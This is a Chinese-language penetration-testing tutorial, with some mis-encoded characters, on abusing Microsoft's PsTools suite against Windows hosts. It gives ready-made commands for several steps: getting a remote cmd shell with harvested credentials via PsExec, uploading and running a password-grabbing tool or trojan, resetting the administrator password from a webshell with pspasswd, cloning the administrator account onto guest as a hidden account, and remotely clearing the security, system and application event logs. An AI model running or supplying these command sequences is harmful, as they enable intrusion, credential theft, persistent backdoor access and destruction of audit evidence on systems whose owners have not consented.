其實接觸pstool很久了，但是據(jù)我觀察用pstools套件在滲透中的應(yīng)用的介紹卻比較少。

當(dāng)然玩bt5的同學(xué)可能常常用到，小菜就寫一篇關(guān)于pstools套件在滲透中的應(yīng)用進行詳解。

pstool的介紹

PsTools是Sysinternals Suite中一款排名靠前的一個安全管理工具套件?，F(xiàn)在被微軟收購。目前pstools中含有12款各式各樣的小工具。如果將它們靈活的運用，將會在滲透中收到奇效。所有的pstool第一次運行時都會彈框?？梢杂?ndash;accepteula這個參數(shù)繞過。

還有所有的pstool都支持IP$，一旦IP$共享是連接的就不用輸入-u 和-p這兩個參數(shù)。

如何建立IP$連接。命令如下：

Net user \\目標ip\ 密碼 /user:用戶

Net user \\192.168.1.3\ 123456 /user:test

建立后所有的ps工具都將可以不用輸入用戶和密碼了。

其中12款工具簡介如下：

◆PsExec - 遠程執(zhí)行進程

◆PsFile - 顯示遠程打開的文件

◆PsGetSid - 顯示計算機或用戶的 SID

◆PsInfo - 列出有關(guān)系統(tǒng)的信息

◆PsKill - 按名稱或進程 ID 終止進程

◆PsList - 列出有關(guān)進程的詳細信息

◆PsLoggedOn - 查看在本地通過資源共享（包含所有資源）登錄的用戶

◆PsLogList - 轉(zhuǎn)儲事件日志記錄

◆PsPasswd － 更改帳戶密碼

◆PsService - 查看和控制服務(wù)

◆PsShutdown - 關(guān)閉并重新啟動（可選）計算機

◆PsSuspend - 暫停進程

這里講對其中的幾個工具進行詳解，其他的將只介紹用法。

下載地址：http://download.sysinternals.com/files/PSTools.zip

psexec的應(yīng)用詳解

Pstools中最強大最常利用的工具就屬psexec這款工具。這款工具的本意是替代telnet這種不安全的管理方式。它最大的特點就屬無需安裝客服端程序就可以遠程操作服務(wù)器。

簡單來說，就是一旦你知道服務(wù)器或者電腦的用戶名和密碼，你就可以利用它遠程執(zhí)行系統(tǒng)命令。這樣一款工具放到滲透當(dāng)中真是太淫蕩了。它適用于windows NT/2x/xp/vista

下面介紹詳細參數(shù)：

-u 遠程計算機的用戶名

-p 遠程計算機用戶對應(yīng)密碼

-c <[路徑]文件名>:拷貝文件到遠程機器并運行（注意：運行結(jié)束后文件會自動刪除）

-d 不等待程序執(zhí)行完就返回 （意思就是，當(dāng)你執(zhí)行一個程序無需等到他結(jié)束才返回信息）

-h用于目標系統(tǒng)是Vista或更高版本

其他參數(shù)就不做介紹，這里主要是講用法。

遠程獲取一個cmdshell

比如我再滲透中掃描到目標機（192.168.1.3）的一個用戶名（test）和密碼（123456）。

那我們的命令就是：

psexec \\目標ip -u 用戶名 -p 密碼 進程名

psexec \\192.168.1.3 –u test –p 123456 cmd.exe

看下圖，這是成功連接到一臺遠程服務(wù)器，并獲得一個cmdshell，shell權(quán)限即位當(dāng)前用戶權(quán)限。

這里還將提到的是由于windows策略，將不允許空密碼登陸。

可能有些機油對用戶權(quán)限登陸還有疑慮，什么用戶才可以登陸。

我這建立了一個屬于guest的一個用戶我們來看看它是否能連接。

經(jīng)過測試，比guest權(quán)限大的用戶組都可以遠程登陸。

IIS_WPG用戶組的無法遠程連接，但是你不用擔(dān)心，一般屬于IIS_WPG用戶組的用戶一般也屬于guest用戶組。

有關(guān)用戶組相關(guān)的介紹請圍觀法客周年慶之提權(quán)專題

下載地址： http://www.2cto.com/ebook/201211/35554.html

獲取cmdshell的介紹就到這里。一旦獲得一個cmdshell后面的滲透將會比較輕松。

經(jīng)過測試，用最新版的pstools，windows2008 win7 都能連接成功，win8由于沒有win8系統(tǒng)，就未測試，應(yīng)該是能行的，畢竟這是微軟的管理工具。

Win7連接示意圖：

程序上傳并執(zhí)行

首先現(xiàn)在在本地配置一個將上傳到服務(wù)器上運行的程序到H盤根目錄。這里用抓取系統(tǒng)密碼的神器getpass來演示。H:\getpass.exe

程序上傳并執(zhí)行命令如下：

Psexec \\192.169.1.3 –u test –p 12345 –c H:\getpass.exe –d

最后一個-d的參數(shù)可有可無~~~

只是怕程序遠程運行后會卡住而無法返回信息。

測試如圖：

當(dāng)然你也可運行一個遠控木馬這些都可以~~~

Psexec 的介紹就到這里了。

pspasswd的應(yīng)用詳解

Pspasswd是一個用來更改用戶密碼的工具，支持遠程密碼修改和本地密碼修改。這款工具的特點就是不依靠net,exe程序進行密碼修改。

本地修改命令如下：

pspasswd administrator yueyan

演示圖如下：

遠程命令如下：

pspasswd \\192.168.1.3 –u administrator –p 123456 guest yueyan

命令的意思就是，用administrator這個管理員賬戶登錄后修改用戶guest的密碼為yueyan

相對來說本地修改密碼的功能更強大一些。

我這將介紹個實例：

我的一個好基友Lynn得到一個jsp馬，并且是nt authority\system權(quán)限。但是無法添加用戶，且無法用net修改管理員密碼。抓取hash密碼大于14位，LMhash無效，本地又為搭建彩虹表，網(wǎng)上破解無果。Hash傳遞登陸被攔截。但是機油lynn卻一直想用administrator這個用戶登陸進去，當(dāng)然方法還有很多，比如： mimikatz.exe抓取明文密碼等，這里我將介紹pspasswd的妙用。

我們想用administrator這個賬戶登陸進去。很簡單，直接上傳一個pspasswd上服務(wù)器。

執(zhí)行下面的命令：

首先執(zhí)行D:\web|pspasswd.exe –accepteula （第一次執(zhí)行，表示許可執(zhí)行的意思）

D:\web|pspasswd.exe administrator yueyan

就會成功修改administrator的密碼。

這里能修改密碼的原因是pspasswd不是調(diào)用net.exe進行密碼修改。

上述介紹常常配合mt.exe進行用戶克隆。這里簡單介紹：

（關(guān)于mt.exe的詳細介紹請訪問：【工具】mt.exe的詳細介紹）

首先mt.exe查看用戶sid，比較后看是否有克隆賬戶

Mt -chkuser

比較后，沒有克隆賬戶，我們選擇guest這個賬戶進行克?。?/p>

Mt –clone administrator guest

然后配合pspasswd修改密碼：

Pspasswd guest yueyan

就這樣成功克隆一個賬戶，并能成功登陸訪問。

Pspasswd的功能就介紹到這里。

pskill+psinfo+pslist的應(yīng)用詳解

首先是介紹pskill.

如果你想遠程結(jié)束遠程主機上的一個進程，你可以使用pskill。

我們就介紹一下常用的命令：

比如我們想遠程關(guān)閉遠程主機正在運行的cmd這個進程，可以用pskill進行殺掉。命令如下：

pskill \\192.168.1.3 –u test –p 123456 cmd.exe

命令很簡單~~~~

我再介紹psinfo的相關(guān)應(yīng)用。

基本參數(shù)是：

-h 顯示已經(jīng)安裝的補丁信息

-s 顯示已安裝的軟件信息

-d 顯示磁盤信息

如果我們想看遠程主機的基本信息，命令如下：

psinfo –h –s –d \\192.168.1.3 –u administrator –p 123456

接下來就是pslist。

主要特點是，顯示本地或者遠程計算機的進程運行情況。

主要參數(shù)：

-m 顯示內(nèi)存信息

-x 顯示進程，內(nèi)存和線程

-t 顯示進程樹

-s n 在任務(wù)管理器模式先運行，n指定秒，以esc結(jié)束。

-r n 任務(wù)管理器模式刷新速率，n指秒

例如我們想看遠程計算機的進程運行情況，命令如下：

Pslist –x \\192.168.1.3 –u test –p 123456

效果圖如下：

其他ps工具介紹：

PSLOGGEDON：查看指定計算機的本地及遠程登錄的用戶和登錄時間。必須建立在IP$共享下才可以使用這個工具。

命令如下：

Psloggedon –l \\192.168.1.3

PSLOGLIST：事件日志轉(zhuǎn)儲及管理。

這個對于滲透測試是非常有用的，它最大的特點就是遠程清理系統(tǒng)日志。

常用：

psloglist \\72.56.17.74 application -c > nul

psloglist \\72.56.17.74 system -c > nul

psloglist \\72.56.17.74 security -c > nul

分別是清理應(yīng)用程序日志，系統(tǒng)運行日志，安全日志。

PSSERVICE：管理服務(wù)。

常用：

psservice query messenger

查詢messenger服務(wù)的相關(guān)信息。

最重要的項目是：服務(wù)名稱、顯示名稱、服務(wù)描述、服務(wù)類型、服務(wù)狀態(tài)。

psservice config messenger

查詢服務(wù)的配置信息。

最重要的項目是：服務(wù)名稱、服務(wù)描述、服務(wù)類型、服務(wù)啟動類型、服務(wù)錯誤控制級別、可執(zhí)行文件的路徑等等。

PSSHUTDOWN：關(guān)機工具。

常用命令：

Psshutdown –s –t 60

60秒后關(guān)機。

下面幾個不常用，就介紹下：

PsFile - 顯示遠程打開的文件

Psfile \\192.168.1.3

PsGetSid - 顯示計算機或用戶的 SID

Psgetsid \\192.168.1.3

PsSuspend - 暫停進程

Pssuspend \\192.168.1.3 –u test –p 123456 cmd,exe